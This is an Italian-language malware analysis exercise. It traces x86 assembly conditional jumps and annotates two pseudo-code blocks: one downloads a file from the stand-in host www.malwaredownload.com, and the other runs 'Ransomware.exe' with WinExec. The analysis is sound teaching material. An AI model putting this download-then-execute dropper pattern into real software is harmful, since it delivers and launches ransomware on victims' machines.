Salto condizionale

Ci sono due possibili salti condizionali:

1.

00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

   Questo salto viene effettuato se la zero flag risulta 0

2.

00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

   Questo viene eseguito se la zero flag è 1

Dato che al inizio vengono assegnati i seguenti valori ai registri:

00401040	mov	EAX, 5	
00401044	mov	EBX, 10	

E dopo il primo salto condizionale, viene incrementato di uno EBX:

0040105F	inc	EBX	

Il secondo cmp imposta la zflag a 1, quindi viene eseguito il secondo salto.

Diagramma di esecuzione

Locazione	Istruzione	Operandi
00401040	mov	EAX, 5
00401044	mov	EBX, 10
00401048	cmp	EAX, 5
0040105B	jnz	loc 0040BBA0
0040105F	inc	EBX
00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0

Locazione	Istruzione	Operandi
0040BBA0	mov	EAX, EDI
0040BBA4	push	EAX
0040BBA8	call	DownloadToFile()

Locazione	Istruzione	Operandi
0040FFA0	mov	EDX, EDI
0040FFA4	push	EDX
0040FFA8	call	WinExec()

Funzionalità malware

Tabella 2:

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile()	; pseudo funzione

In questo blocco il malware cerca di scaricare un file e viene passato l'url sullo stack con push. La funzione DownloadToFile() viene chiamata per scaricare il file dal sito "www.malwaredownload.com".

Tabella 3:

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings\Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

In questo blocco di codice viene assegnato il path: "C:\Program and Settings\Local User\Desktop\Ransomware.exe" alla variabile EDI. Il valore di EDI viene passato sullo stack con push e la funzione WinExec() viene chiamata per eseguire il file "Ransomware.exe"